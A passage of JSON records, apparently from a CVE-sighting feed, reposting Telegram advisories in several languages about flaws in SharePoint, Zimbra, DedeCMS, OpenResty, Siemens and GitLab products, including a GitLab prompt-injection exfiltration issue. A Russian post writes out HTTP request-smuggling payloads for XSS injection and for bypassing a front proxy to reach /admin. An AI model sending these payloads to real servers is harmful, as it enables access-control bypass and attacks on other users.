"author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33880", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8115", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33880\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in VirtoSoftware Virto Bulk File Download 5.5.44 for SharePoint 2019. It discloses full pathnames via Virto.SharePoint.FileDownloader/Api/Download.ashx?action=archive.\n\ud83d\udccf Published: 2024-06-24T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-19T17:54:19.865Z\n\ud83d\udd17 References:\n1. https://download.virtosoftware.com/Manuals/nu_ncsc_virto_one_bulk_file_download_v5.4.4_pt_disclosure.pdf\n2. https://docs.virtosoftware.com/v/virto-security-frequently-asked-questions-faq>%3B", "creation_timestamp": "2025-03-19T18:19:35.000000Z"}, {"uuid": "6b6467ea-89df-4528-9b8b-03f92ab1ae8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33536", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8704", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33536\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in Zimbra Collaboration (ZCS) 9.0 and 10.0. The vulnerability occurs due to inadequate input validation of the res parameter, allowing an authenticated attacker to inject and execute arbitrary JavaScript code within the context of another user's browser session. By uploading a malicious JavaScript file, accessible externally, and crafting a URL containing its location in the res parameter, the attacker can exploit this vulnerability. Subsequently, when another user visits the crafted URL, the malicious JavaScript code is executed.\n\ud83d\udccf Published: 2024-08-12T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-25T16:10:43.367Z\n\ud83d\udd17 References:\n1. https://wiki.zimbra.com/wiki/Zimbra_Releases/10.0.8#Security_Fixes\n2. https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P40#Security_Fixes", "creation_timestamp": "2025-03-25T16:25:11.000000Z"}, {"uuid": "c90e9b77-9883-46f1-9b2a-b15dc2e7a546", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33401", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8741", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33401\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Cross Site Scripting vulnerability in DedeCMS v.5.7.113 allows a remote attacker to run arbitrary code via the mnum parameter.\n\ud83d\udccf Published: 2024-04-29T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-25T18:50:51.807Z\n\ud83d\udd17 References:\n1. https://gitee.com/zchuanwen/cve123/issues/I9I18D", "creation_timestamp": "2025-03-25T19:24:54.000000Z"}, {"uuid": "bf85e97f-3591-4cf8-852a-4e67d4cdbe98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33164", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8990", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33164\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: J2EEFAST v2.7.0 was discovered to contain a SQL injection vulnerability via the sql_filter parameter in the authUserList() function.\n\ud83d\udccf Published: 2024-05-07T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-26T20:51:19.077Z\n\ud83d\udd17 References:\n1. https://github.com/cxcxcxcxcxcxcxc/cxcxcxcxcxcxcxc/blob/main/cxcxcxcxcxc/about-2024/33164.txt", "creation_timestamp": "2025-03-26T21:26:00.000000Z"}, {"uuid": "a579372f-ef6c-4b93-8acb-9d414aa6b3c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33307", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9224", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33307\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: SourceCodester Laboratory Management System 1.0 is vulnerable to Cross Site Scripting (XSS) via \"Last Name\" parameter in Create User.\n\ud83d\udccf Published: 2024-05-01T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-27T21:06:22.392Z\n\ud83d\udd17 References:\n1. https://github.com/Mohitkumar0786/CVE/blob/main/CVE-2024-33307.md", "creation_timestamp": "2025-03-27T21:27:49.000000Z"}, {"uuid": "50f13dc8-0544-4944-983f-271879b3be6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33912", "type": "seen", "source": "Telegram/GQmgB_zh1_PcRuxJXz8WQrN99Q2pGcNsyeAE1ZOio9hiJuYh", "content": "", "creation_timestamp": "2025-02-06T02:40:18.000000Z"}, {"uuid": "48253f21-f7b1-4fae-94b9-3684c4c8f3e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33452", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/12972", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33452\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in OpenResty lua-nginx-module v.0.10.26 and before allows a remote attacker to conduct HTTP request smuggling via a crafted HEAD request.\n\ud83d\udccf Published: 2025-04-22T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-22T19:26:45.466Z\n\ud83d\udd17 References:\n1. https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn\n2. https://www.benasin.space/2025/03/18/OpenResty-lua-nginx-module-v0-10-26-HTTP-Request-Smuggling-in-HEAD-requests/", "creation_timestamp": "2025-04-22T20:05:19.000000Z"}, {"uuid": "ad697fb3-d653-45b0-8957-51c7bb6c6309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33939", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16904", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-33939\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\ud83d\udd39 Description: Authentication Bypass Using an Alternate Path or Channel vulnerability in Masteriyo Masteriyo - LMS.\u00a0Unauth access to course progress.This issue affects Masteriyo - LMS: from n/a through 1.7.3.\n\ud83d\udccf Published: 2025-05-19T15:55:18.574Z\n\ud83d\udccf Modified: 2025-05-19T16:58:29.630Z\n\ud83d\udd17 References:\n1. https://patchstack.com/database/wordpress/plugin/learning-management-system/vulnerability/wordpress-lms-by-masteriyo-plugin-1-7-3-broken-authentication-vulnerability?_s_id=cve", "creation_timestamp": "2025-05-19T17:39:17.000000Z"}, {"uuid": "2304e590-2400-49da-99ff-830e715ce841", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3359", "type": "seen", "source": "Telegram/PhSIx-Yk0JZo9I1CDR6SRtPBVKaga8dk13aDvxVunmNO8Ipb", "content": "", "creation_timestamp": "2025-02-14T10:01:37.000000Z"}, {"uuid": "fbb96858-7444-49b0-9b7a-101671358d9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33698", "type": "seen", "source": "https://t.me/ics_cert/919", "content": "\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0645\u0624\u0644\u0641\u0647 \u0645\u062f\u06cc\u0631\u06cc\u062a \u06a9\u0627\u0631\u0628\u0631 \u0632\u06cc\u0645\u0646\u0633 (UMC) \u0633\u0631\u0648\u0631 \u0627\u0637\u0644\u0627\u0639\u0627\u062a SIMATIC\u060c SIMATIC PCS neo\u060c SINEC NMS\u060c \u067e\u0648\u0631\u062a\u0627\u0644 \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u06a9\u0627\u0645\u0644\u0627\u064b \u06cc\u06a9\u067e\u0627\u0631\u0686\u0647 (TIA Portal) \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0633\u0631\u0631\u06cc\u0632 \u0628\u0627\u0641\u0631 \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u0647\u06cc\u067e \u0627\u0633\u062a. \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062a\u0627 \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f\n\nBDU:2024-07066\nCVE-2024-33698\n\n\u0646\u0635\u0628 \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0627\u0632 \u0645\u0646\u0627\u0628\u0639 \u0642\u0627\u0628\u0644 \u0627\u0639\u062a\u0645\u0627\u062f\n\u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc \u0634\u0648\u062f \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u062a\u0646\u0647\u0627 \u067e\u0633 \u0627\u0632 \u0627\u0631\u0632\u06cc\u0627\u0628\u06cc \u062a\u0645\u0627\u0645 \u062e\u0637\u0631\u0627\u062a \u0645\u0631\u062a\u0628\u0637 \u0646\u0635\u0628 \u06a9\u0646\u06cc\u062f.\n\n\u0627\u0642\u062f\u0627\u0645\u0627\u062a \u062c\u0628\u0631\u0627\u0646\u06cc:\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u0641\u0627\u06cc\u0631\u0648\u0627\u0644 \u0628\u0631\u0627\u06cc \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u0627\u0645\u06a9\u0627\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631.\n- \u062a\u0642\u0633\u06cc\u0645 \u0628\u0646\u062f\u06cc \u0634\u0628\u06a9\u0647 \u0628\u0631\u0627\u06cc \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0628\u062e\u0634 \u0635\u0646\u0639\u062a\u06cc \u0627\u0632 \u0632\u06cc\u0631\u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc \u062f\u06cc\u06af\u0631.\n- \u0641\u06cc\u0644\u062a\u0631 \u06a9\u0631\u062f\u0646 \u0627\u062a\u0635\u0627\u0644\u0627\u062a \u067e\u0648\u0631\u062a \u0647\u0627\u06cc 4002 \u0648 4004.\n- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc \u062e\u0635\u0648\u0635\u06cc \u0645\u062c\u0627\u0632\u06cc \u0628\u0631\u0627\u06cc \u0633\u0627\u0632\u0645\u0627\u0646\u062f\u0647\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (VPN).\n\n\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062a\u0648\u0635\u06cc\u0647 \u0647\u0627:\nhttps://cert-portal.siemens.com/productcert/html/ssa-039007.html\n\n\n\ud83c\udfaf \u062f\u0631 \u062c\u0631\u06cc\u0627\u0646 \u0646\u0628\u0636 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0635\u0646\u0639\u062a\u06cc \u0628\u0627\u0634\u06cc\u062f:\n\n\ud83c\udfed\u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\ud83d\udc6e\ud83c\udffd\u200d\u2640\ufe0f\u0647\u0631\u06af\u0648\u0646\u0647 \u0627\u0646\u062a\u0634\u0627\u0631 \u0648 \u0630\u06a9\u0631 \u0645\u0637\u0627\u0644\u0628 \u0628\u062f\u0648\u0646 \u0630\u06a9\u0631 \u062f\u0642\u06cc\u0642 \u0645\u0646\u0628\u0639 \u0648 \u0622\u062f\u0631\u0633 \u0644\u06cc\u0646\u06a9 \u0622\u0646 \u0645\u0645\u0646\u0648\u0639 \u0627\u0633\u062a. \n\u0627\u062f\u0645\u06cc\u0646:\n\u200fhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert", "creation_timestamp": "2024-11-16T15:32:04.000000Z"}, {"uuid": "85e9823b-f04c-4143-b861-6bc4f4617ba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3303", "type": "seen", "source": "https://t.me/cvedetector/17990", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-3303 - GitLab EE: Private Issue Exfiltration via Prompt Injection\", \n  \"Content\": \"CVE ID : CVE-2024-3303 \nPublished : Feb. 13, 2025, 9:15 a.m. | 2\u00a0hours, 15\u00a0minutes ago \nDescription : An issue was discovered in GitLab EE affecting all versions starting from 16.0 prior to 17.6.5, starting from 17.7 prior to 17.7.4, and starting from 17.8 prior to 17.8.2, which allows an attacker to exfiltrate contents of a private issue using prompt injection. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-13T12:58:56.000000Z"}, {"uuid": "1e8d367f-b982-49c2-ac29-b7fb1bd9bcaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "exploited", "source": "https://t.me/BleepingComputer/21262", "content": "\u200aHackers exploit DoS flaw to disable Palo Alto Networks firewalls\n\nPalo Alto Networks is warning that hackers are exploiting the CVE-2024-3393 denial of service vulnerability to disable firewall protections by forcing it to reboot. [...]\n\nhttps://www.bleepingcomputer.com/news/security/hackers-exploit-dos-flaw-to-disable-palo-alto-networks-firewalls/", "creation_timestamp": "2024-12-30T21:07:45.000000Z"}, {"uuid": "61c4014f-d12a-42d1-9ae1-16cd027acb00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33452", "type": "published-proof-of-concept", "source": "https://t.me/poxek/4885", "content": "\ud83d\udd03 OpenResty/lua-nginx-module: \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c HTTP Request Smuggling \u0432 HEAD-\u0437\u0430\u043f\u0440\u043e\u0441\u0430\u0445\n\n\u0420\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 CVE-2024-33452. \u041f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 HTTP/1.1-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 lua-nginx-module \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442 HEAD-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0441 \u0442\u0435\u043b\u043e\u043c, \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044f \u0442\u0435\u043b\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043a\u0430\u043a \u043d\u043e\u0432\u044b\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441.\n\n\u041f\u0440\u0438\u043c\u0435\u0440\n\n\u041e\u0431\u044b\u0447\u043d\u043e \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u0443\u044e\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u044b\u0439, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 GET /smuggle \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0442\u0435\u043b\u0435 HEAD-\u0437\u0430\u043f\u0440\u043e\u0441\u0430:\n\nHEAD / HTTP/1.1\nHost: localhost\nContent-Length: 52\n\nGET /smuggle HTTP/1.1\nHost: localhost\n\n\u041e\u0434\u043d\u0430\u043a\u043e lua-nginx-module \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u0443\u0435\u0442 \u0435\u0433\u043e \u043a\u0430\u043a \u0434\u0432\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435.\n\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0430\u0442\u0430\u043a\n\n\u041f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 lua-nginx-module, \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043a \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, Kong Gateway, Apache APISIX \u0438 \u0434\u0440\u0443\u0433\u0438\u0435).\n\n\u041f\u0440\u0438\u043c\u0435\u0440 \u0441 Kong Gateway\n\n\u0415\u0441\u043b\u0438 Kong \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043e\u0441\u043e\u0431\u043e\u0439 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041d\u043e \u0435\u0441\u043b\u0438 Kong \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441 \u0444\u0440\u043e\u043d\u0442-\u043f\u0440\u043e\u043a\u0441\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, Nginx, Cloudflare \u0438 \u0442. \u0434.), \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442:\n 1. \u0412\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043e\u0442\u0432\u0435\u0442\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, XSS-\u0430\u0442\u0430\u043a\u0438).\n 2. \u041e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u0444\u0440\u043e\u043d\u0442-\u043f\u0440\u043e\u043a\u0441\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0431\u0445\u043e\u0434 Cloudflare).\n 3. \u041f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n1\ufe0f\u20e3 \u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 XSS \u0447\u0435\u0440\u0435\u0437 \u0441\u043c\u0443\u0433\u043b\u0438\u043d\u0433\n\n\u042d\u0442\u043e\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u0441\u0435\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442 \u0441 XSS-\u043a\u043e\u0434\u043e\u043c, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0441\u0430\u0439\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0431\u044b\u0447\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 Apache.\n\nHEAD / HTTP/1.1\nHost: localhost\nContent-Length: 122\n\nHEAD /app HTTP/1.1\nHost: localhost\nConnection: keep-alive\n\nGET /app/assets?alert(origin) HTTP/1.1\nX:\n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: \u0412\u0441\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0435 \u043e\u0431\u044b\u0447\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b, \u043f\u043e\u043b\u0443\u0447\u0430\u0442 XSS-\u0441\u043a\u0440\u0438\u043f\u0442 \u0432 \u043e\u0442\u0432\u0435\u0442\u0435.\n\n2\ufe0f\u20e3 \u041e\u0431\u0445\u043e\u0434 \u0437\u0430\u0449\u0438\u0442\u044b \u0444\u0440\u043e\u043d\u0442-\u043f\u0440\u043e\u043a\u0441\u0438 (Cloudflare)\n\n\u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c, Cloudflare \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a /admin. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u043a\u0440\u044b\u0442\u044c GET-\u0437\u0430\u043f\u0440\u043e\u0441 \u043a /admin \u0432\u043d\u0443\u0442\u0440\u0438 HEAD-\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0438 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443.\n\n\u041f\u0440\u0438\u043c\u0435\u0440:\n\nHEAD / HTTP/1.1\nHost: victim.com\nContent-Length: 40\n\nGET /admin HTTP/1.1\nHost: victim.com\n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: Cloudflare \u043d\u0435 \u0443\u0432\u0438\u0434\u0438\u0442 GET-\u0437\u0430\u043f\u0440\u043e\u0441, \u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443.\n\n3\ufe0f\u20e3 \u041a\u0440\u0430\u0436\u0430 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439\n\n\u042d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u041f\u0440\u0438\u043c\u0435\u0440 \u0430\u0442\u0430\u043a\u0438\n 1. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 HEAD-\u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u0432\u043d\u0435\u0434\u0440\u0451\u043d\u043d\u044b\u043c GET-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c.\n 2. \u0421\u0435\u0440\u0432\u0435\u0440 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u0443\u0435\u0442 \u0442\u0435\u043b\u043e \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441.\n 3. \u041e\u0442\u0432\u0435\u0442 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u043d\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443, \u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0430 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0431\u0440\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442 \u0436\u0435\u0440\u0442\u0432\u044b.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438\n\n\u0411\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u0431\u043b\u043e\u0433\u0435 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435.\n\n#web #hrs #xss", "creation_timestamp": "2025-03-19T17:27:22.000000Z"}, {"uuid": "ad36689e-a853-42bd-ab18-a9f04267d9a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33901", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9157", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aShort program that demonstrates the vulnerability CVE-2024-33901 in 